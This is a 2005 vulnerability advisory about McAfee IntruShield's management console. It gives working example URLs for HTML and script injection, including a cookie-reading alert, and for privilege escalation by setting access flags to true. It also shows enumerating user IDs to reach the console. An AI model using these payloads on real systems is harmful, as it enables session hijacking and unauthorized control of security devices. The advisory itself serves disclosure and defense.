|
McAfee Intrushield IPS Privilege Escalation and Cross Site Scripting |
|
|
|
|
Monday, 11 July 2005 |
McAfee Intrushield IPS Privilege Escalation and Cross Site Scripting
McAfee IntruShield Security Management System - "The McAfee IntruShield Security Management System is an advanced solution for administering IntruShield sensor appliance deployments."
McAfee IPS users can elevate their privileges from a user that can only view alerts logged by remote sensors, to one that can gain access to acknowledge, accept and delete alerts and access the Management Console. It is also possible to inject malicious HTML and JavaScript into the URLS and have this malicious script run on the clients machine, allowing for account information hijacking.
Credit:
The information has been provided by c0ntex.
HTML Injection:
It is possible to embed HTML into the MISMS. This could potentially allow phishing attacks to be performed against a valid Manager account.
Example: https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&
faultResourceName=Manager&domainName=%2FDemo%3A0&
resourceName=%2FDemo%3A0%2FManager&resourceType=Manager&
topMenuName=SystemHealthManager&secondMenuName=Faults&
resourceId=-1&thirdMenuName=<iframe%20src="
http://www.mcafeesecurity.com/us/about/press/corporate/2005/20050411_185504.htm"
%20width=800%20height=600 ></iframe>&severity=critical&count=1
JavaScript Injection:
It is possible to embed JavaScript into the MISMS and have the embedded script execute in the security context of the user browsing the Management System.
Example: https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&faultResourceName=Manager&
domainName=Demo&resourceName=
<script>alert("There could be trouble ahead")</script> <script>alert(document.cookie)</script>
&resourceType=Manager&topMenuName=SystemHealthManager&
secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1
Access privileged reports:
It is possible to access the restricted "Generate Reports" section of the MISMS and as such, a non-privileged user can gain important information regarding the configuration and set-up of the IP devices being managed by the Service. This can be achieved by simply changing the Access option from false to true.
Example: https://intrushield:443/intruvert/jsp/reports/reports-column-center.jsp?
monitoredDomain=%2FDemo&selectedDomain=0&fullAccessRight=true
Acknowledge and delete alerts:
It is possible to acknowledge, de-acknowledge and delete alerts from the MISMS console by modifying URLs sent to the system by simply changing the Access option from false to true.
Example: https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=true&faultResourceName=Manager&
domainName=%2FDemo%3A0&resourceName=%Demo%3A0%2FManager&resourceType=Manager&
topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&
thirdMenuName=Critical&severity=critical&count=1
Each change is emailed out to the administrator, however the email only says that "someone" made a change.
Gain access to Management Console:
As default, all user ID values are passed in the URL in the clear, meaning that it is trivial for an attacker to brute force accounts until a privileged Manager account is found. An example of this would look similar to:
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=1&logo=intruvert.gif
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=2&logo=intruvert.gif
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=3&logo=intruvert.gif
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=4&logo=intruvert.gif
This process can be continued until a valid user ID has been found with privileges to access the configure screen.
Since javascript can be run in the browsers of clients accessing the device, it would be possible to redraw the page with IFRAMEs and recreate the user login page to snoop usersnames and passwords.
Patch Availability:
A new version has been released to address these bugs and can be downloaded from vendors site.
|